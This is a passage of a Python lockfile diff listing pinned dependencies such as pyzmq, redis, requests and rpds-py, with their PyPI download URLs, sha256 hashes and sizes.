"https://files.pythonhosted.org/packages/3b/b1/5e21d0b517434b7f33588ff76c177c5a167858cc38ef740608898cd329f2/pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394", size = 1894220, upload-time = "2025-09-08T23:07:57.172Z" }, + { url = "https://files.pythonhosted.org/packages/03/f2/44913a6ff6941905efc24a1acf3d3cb6146b636c546c7406c38c49c403d4/pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f", size = 567155, upload-time = "2025-09-08T23:07:59.05Z" }, + { url = "https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" }, + { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" }, + { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" }, + { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" }, + { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" }, + { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" }, + { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" }, + { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" }, + { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" }, + { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" }, + { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" }, + { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" }, + { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" }, + { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" }, + { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" }, + { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" }, + { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" }, + { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" }, + { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" }, + { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" }, + { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" }, + { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" }, + { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" }, + { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" }, + { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" }, + { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" }, + { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" }, + { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" }, + { url = "https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" }, + { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" }, + { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" }, + { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" }, + { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" }, +] + +[[package]] +name = "redis" +version = "8.0.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "async-timeout", marker = "python_full_version < '3.11.3'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/cc/c3/928b290c2c0ca99ab96eea5b4ff8f30be8112b075301a7d3ba214a3c8c12/redis-8.0.1.tar.gz", hash = "sha256:afc5a7a2f5a084f5b1880dec548dd45be17db7e43c82a30d84f952aefb05cfb0", size = 5114170, upload-time = "2026-06-23T14:52:37.728Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fd/0a/c2345ebf1ebe70840ce3f6c6ee612f8fa749cfbd1b03069c53bf0c62aaad/redis-8.0.1-py3-none-any.whl", hash = "sha256:47daa35a058c23468d6437f17a8c76882cb316b838ef763036af99b96cedd743", size = 502406, upload-time = "2026-06-23T14:52:36.137Z" }, +] + +[[package]] +name = "referencing" +version = "0.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "rpds-py" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size = 78036, upload-time = "2025-10-13T15:30:48.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size = 26766, upload-time = "2025-10-13T15:30:47.625Z" }, +] + +[[package]] +name = "requests" +version = "2.33.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" }, +] + +[[package]] +name = "requests-toolbelt" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "requests" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/61/d7545dafb7ac2230c70d38d31cbfe4cc64f7144dc41f6e4e4b78ecd9f5bb/requests-toolbelt-1.0.0.tar.gz", hash = "sha256:7681a0a3d047012b5bdc0ee37d7f8f07ebe76ab08caeccfc3921ce23c88d5bc6", size = 206888, upload-time = "2023-05-01T04:11:33.229Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3f/51/d4db610ef29373b879047326cbf6fa98b6c1969d6f6dc423279de2b1be2c/requests_toolbelt-1.0.0-py2.py3-none-any.whl", hash = "sha256:cccfdd665f0a24fcf4726e690f65639d272bb0637b9b92dfd91a5568ccf6bd06", size = 54481, upload-time = "2023-05-01T04:11:28.427Z" }, +] + +[[package]] +name = "rfc3339-validator" +version = "0.1.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/28/ea/a9387748e2d111c3c2b275ba970b735e04e15cdb1eb30693b6b5708c4dbd/rfc3339_validator-0.1.4.tar.gz", hash = "sha256:138a2abdf93304ad60530167e51d2dfb9549521a836871b88d7f4695d0022f6b", size = 5513, upload-time = "2021-05-12T16:37:54.178Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/44/4e421b96b67b2daff264473f7465db72fbdf36a07e05494f50300cc7b0c6/rfc3339_validator-0.1.4-py2.py3-none-any.whl", hash = "sha256:24f6ec1eda14ef823da9e36ec7113124b39c04d50a4d3d3a3c2859577e7791fa", size = 3490, upload-time = "2021-05-12T16:37:52.536Z" }, +] + +[[package]] +name = "rfc3986-validator" +version = "0.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/da/88/f270de456dd7d11dcc808abfa291ecdd3f45ff44e3b549ffa01b126464d0/rfc3986_validator-0.1.1.tar.gz", hash = "sha256:3d44bde7921b3b9ec3ae4e3adca370438eccebc676456449b145d533b240d055", size = 6760, upload-time = "2019-10-28T16:00:19.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9e/51/17023c0f8f1869d8806b979a2bffa3f861f26a3f1a66b094288323fba52f/rfc3986_validator-0.1.1-py2.py3-none-any.whl", hash = "sha256:2f235c432ef459970b4306369336b9d5dbdda31b510ca1e327636e01f528bfa9", size = 4242, upload-time = "2019-10-28T16:00:13.976Z" }, +] + +[[package]] +name = "rfc3987-syntax" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "lark" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2c/06/37c1a5557acf449e8e406a830a05bf885ac47d33270aec454ef78675008d/rfc3987_syntax-1.1.0.tar.gz", hash = "sha256:717a62cbf33cffdd16dfa3a497d81ce48a660ea691b1ddd7be710c22f00b4a0d", size = 14239, upload-time = "2025-07-18T01:05:05.015Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/71/44ce230e1b7fadd372515a97e32a83011f906ddded8d03e3c6aafbdedbb7/rfc3987_syntax-1.1.0-py3-none-any.whl", hash = "sha256:6c3d97604e4c5ce9f714898e05401a0445a641cfa276432b0a648c80856f6a3f", size = 8046, upload-time = "2025-07-18T01:05:03.843Z" }, +] + +[[package]] +name = "rpds-py" +version = "0.30.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/af/3f2f423103f1113b36230496629986e0ef7e199d2aa8392452b484b38ced/rpds_py-0.30.0.tar.gz", hash = "sha256:dd8ff7cf90014af0c0f787eea34794ebf6415242ee1d6fa91eaba725cc441e84", size = 69469, upload-time = "2025-11-30T20:24:38.837Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/06/0c/0c411a0ec64ccb6d104dcabe0e713e05e153a9a2c3c2bd2b32ce412166fe/rpds_py-0.30.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:679ae98e00c0e8d68a7fda324e16b90fd5260945b45d3b824c892cec9eea3288", size = 370490, upload-time = "2025-11-30T20:21:33.256Z" }, + { url = "https://files.pythonhosted.org/packages/19/6a/4ba3d0fb7297ebae71171822554abe48d7cab29c28b8f9f2c04b79988c05/rpds_py-0.30.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4cc2206b76b4f576934f0ed374b10d7ca5f457858b157ca52064bdfc26b9fc00", size = 359751, upload-time = "2025-11-30T20:21:34.591Z" }, + { url = "https://files.pythonhosted.org/packages/cd/7c/e4933565ef7f7a0818985d87c15d9d273f1a649afa6a52ea35ad011195ea/rpds_py-0.30.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:389a2d49eded1896c3d48b0136ead37c48e221b391c052fba3f4055c367f60a6", size = 389696, upload-time = "2025-11-30T20:21:36.122Z" }, + { url = "https://files.pythonhosted.org/packages/5e/01/6271a2511ad0815f00f7ed4390cf2567bec1d4b1da39e2c27a41e6e3b4de/rpds_py-0.30.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:32c8528634e1bf7121f3de08fa85b138f4e0dc47657866630611b03967f041d7", size = 403136, upload-time = "2025-11-30T20:21:37.728Z" }, + { url = "https://files.pythonhosted.org/packages/55/64/c857eb7cd7541e9b4eee9d49c196e833128a55b89a9850a9c9ac33ccf897/rpds_py-0.30.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f207f69853edd6f6700b86efb84999651baf3789e78a466431df1331608e5324", size = 524699, upload-time = "2025-11-30T20:21:38.92Z" }, + { url = "https://files.pythonhosted.org/packages/9c/ed/94816543404078af9ab26159c44f9e98e20fe47e2126d5d32c9d9948d10a/rpds_py-0.30.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:67b02ec25ba7a9e8fa74c63b6ca44cf5707f2fbfadae3ee8e7494297d56aa9df", size = 412022, upload-time = "2025-11-30T20:21:40.407Z" }, + { url = "https://files.pythonhosted.org/packages/61/b5/707f6cf0066a6412aacc11d17920ea2e19e5b2f04081c64526eb35b5c6e7/rpds_py-0.30.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c0e95f6819a19965ff420f65578bacb0b00f251fefe2c8b23347c37174271f3", size = 390522, upload-time = "2025-11-30T20:21:42.17Z" }, + { url = "https://files.pythonhosted.org/packages/13/4e/57a85fda37a229ff4226f8cbcf09f2a455d1ed20e802ce5b2b4a7f5ed053/rpds_py-0.30.0-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:a452763cc5198f2f98898eb98f7569649fe5da666c2dc6b5ddb10fde5a574221", size = 404579, upload-time = "2025-11-30T20:21:43.769Z" }, + { url = "https://files.pythonhosted.org/packages/f9/da/c9339293513ec680a721e0e16bf2bac3db6e5d7e922488de471308349bba/rpds_py-0.30.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e0b65193a413ccc930671c55153a03ee57cecb49e6227204b04fae512eb657a7", size = 421305, upload-time = "2025-11-30T20:21:44.994Z" }, + { url = "https://files.pythonhosted.org/packages/f9/be/522cb84751114f4ad9d822ff5a1aa3c98006341895d5f084779b99596e5c/rpds_py-0.30.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:858738e9c32147f78b3ac24dc0edb6610000e56dc0f700fd5f651d0a0f0eb9ff", size = 572503, upload-time = "2025-11-30T20:21:46.91Z" }, + { url = "https://files.pythonhosted.org/packages/a2/9b/de879f7e7ceddc973ea6e4629e9b380213a6938a249e94b0cdbcc325bb66/rpds_py-0.30.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:da279aa314f00acbb803da1e76fa18666778e8a8f83484fba94526da5de2cba7", size = 598322, upload-time = "2025-11-30T20:21:48.709Z" }, + { url = "https://files.pythonhosted.org/packages/48/ac/f01fc22efec3f37d8a914fc1b2fb9bcafd56a299edbe96406f3053edea5a/rpds_py-0.30.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7c64d38fb49b6cdeda16ab49e35fe0da2e1e9b34bc38bd78386530f218b37139", size = 560792, upload-time = "2025-11-30T20:21:50.024Z" }, + { url = "https://files.pythonhosted.org/packages/e2/da/4e2b19d0f131f35b6146425f846563d0ce036763e38913d917187307a671/rpds_py-0.30.0-cp310-cp310-win32.whl", hash = "sha256:6de2a32a1665b93233cde140ff8b3467bdb9e2af2b91079f0333a0974d12d464", size = 221901, upload-time = "2025-11-30T20:21:51.32Z" }, + { url = "https://files.pythonhosted.org/packages/96/cb/156d7a5cf4f78a7cc571465d8aec7a3c447c94f6749c5123f08438bcf7bc/rpds_py-0.30.0-cp310-cp310-win_amd64.whl", hash = "sha256:1726859cd0de969f88dc8673bdd954185b9104e05806be64bcd87badbe313169", size = 235823, upload-time = "2025-11-30T20:21:52.505Z" }, + { url = "https://files.pythonhosted.org/packages/4d/6e/f964e88b3d2abee2a82c1ac8366da848fce1c6d834dc2132c3fda3970290/rpds_py-0.30.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a2bffea6a4ca9f01b3f8e548302470306689684e61602aa3d141e34da06cf425", size = 370157, upload-time = "2025-11-30T20:21:53.789Z" }, + { url = "https://files.pythonhosted.org/packages/94/ba/24e5ebb7c1c82e74c4e4f33b2112a5573ddc703915b13a073737b59b86e0/rpds_py-0.30.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dc4f992dfe1e2bc3ebc7444f6c7051b4bc13cd8e33e43511e8ffd13bf407010d", size = 359676, upload-time = "2025-11-30T20:21:55.475Z" }, + { url = "https://files.pythonhosted.org/packages/84/86/04dbba1b087227747d64d80c3b74df946b986c57af0a9f0c98726d4d7a3b/rpds_py-0.30.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 